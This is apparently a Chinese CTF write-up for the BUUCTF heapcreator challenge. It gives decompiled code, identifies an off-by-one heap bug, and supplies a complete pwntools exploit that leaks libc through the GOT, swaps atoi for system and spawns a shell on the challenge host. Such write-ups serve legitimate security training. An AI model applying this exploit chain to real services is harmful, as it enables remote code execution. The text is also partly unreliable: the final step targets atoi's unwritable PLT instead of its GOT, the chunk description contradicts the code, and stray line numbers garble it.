hitcontraining heapcreator
# hitcontraining heapcreator
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/hitcontraining_heapcreator/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char option; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
read(0, &option, 4uLL);
switch ( atoi(&option) )
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
return;
default:
puts("Invalid Choice");
break;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
menu函数如下:
int menu()
{
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
return printf("Your choice :");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
create_heap函数如下:
unsigned __int64 create_heap()
{
heap *v0; // rbx
signed int index; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( index = 0; index <= 9; ++index )
{
if ( !heaparray[index] )
{
heaparray[index] = malloc(0x10uLL);
if ( !heaparray[index] )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
v0 = heaparray[index];
v0->content = malloc(size);
if ( !heaparray[index]->content )
{
puts("Allocate Error");
exit(2);
}
heaparray[index]->size = size;
printf("Content of heap:", &buf);
read_input(heaparray[index]->content, size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
edit_heap函数如下:
unsigned __int64 edit_heap()
{
int index; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
index = atoi(&buf);
if ( index < 0 || index > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[index] )
{
printf("Content of heap : ", &buf);
read_input((void *)heaparray[index]->content, heaparray[index]->size + 1);// off-by-one
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
show_heap函数如下:
unsigned __int64 show_heap()
{
int index; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
index = atoi(&buf);
if ( index < 0 || index > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[index] )
{
printf("Size : %ld\nContent : %s\n", heaparray[index]->size, heaparray[index]->content);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
delete_heap函数如下:
unsigned __int64 delete_heap()
{
int index; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
index = atoi(&buf);
if ( index < 0 || index > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[index] )
{
free(heaparray[index]->content);
free(heaparray[index]);
heaparray[index] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
read_input函数如下:
ssize_t __fastcall read_input(void *a1, size_t a2)
{
ssize_t result; // rax
result = read(0, a1, a2);
if ( (signed int)result <= 0 )
{
puts("Error");
_exit(-1);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
# 思路分析
目前信息:
edit_heap
函数存在off-by-one
- Partial RELRO
- Canary found
- NX enabled
- No PIE
思路
- 先调用
create_heap
函数3
次创建6
个大小都为0x20
的堆块,再利用off-by-one
修改下一个堆块的size
域,并将其释放,再重新申请回来后,与其下一个堆块重叠,修改重叠部分中指向content
的指针为atoi
的got
表地址,利用show
函数泄漏libc
,再覆盖atoi
的plt
为system
地址,最后传入sh
即可获得shell
- 先调用
# exp
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/hitcontraining_heapcreator/heapcreator'
io = remote('node4.buuoj.cn', 26163)
# io = process(pwnfile)
def Create(io, size, content):
io.sendlineafter("Your choice :", '1')
io.sendlineafter("Size of Heap : ", str(size))
io.sendlineafter("Content of heap:", content)
def Edit(io, index, content):
io.sendlineafter("Your choice :", '2')
io.sendlineafter("Index :", str(index))
io.sendlineafter("Content of heap : ", content)
def Show(io, index):
io.sendlineafter("Your choice :", '3')
io.sendlineafter("Index :", str(index))
def Delete(io, index):
io.sendlineafter('Your choice :', '4')
io.sendlineafter('Index :', str(index))
Create(io, 0x18, 'aaaa') # 0
Create(io, 0x10, 'bbbb') # 1
Create(io, 0x10, 'cccc') # 2
# off-by-one修改下一个chunk的size
Edit(io, 0, flat(['a'*0x18, 0x81]))
Delete(io, 1)
elf = ELF(pwnfile)
atoi_got = elf.got['atoi']
atoi_plt = elf.plt['atoi']
# 释放后再申请回来的堆块与下一个堆块重叠,修改下一个堆块的指针泄漏libc
Create(io, 0x70, flat([cyclic(0x20), 0x8, atoi_got])) # 0
Show(io, 1)
leak_atoi = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success("leak_atoi:"+hex(leak_atoi))
libc = LibcSearcher('atoi', leak_atoi)
libc_base = leak_atoi-libc.dump('atoi')
system = libc_base+libc.dump('system')
Edit(io, 0, flat([cyclic(0x20), 0x8, atoi_plt]))
Edit(io, 1, flat([system]))
io.send('sh\x00')
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
上次更新: 2022/08/15, 00:29:49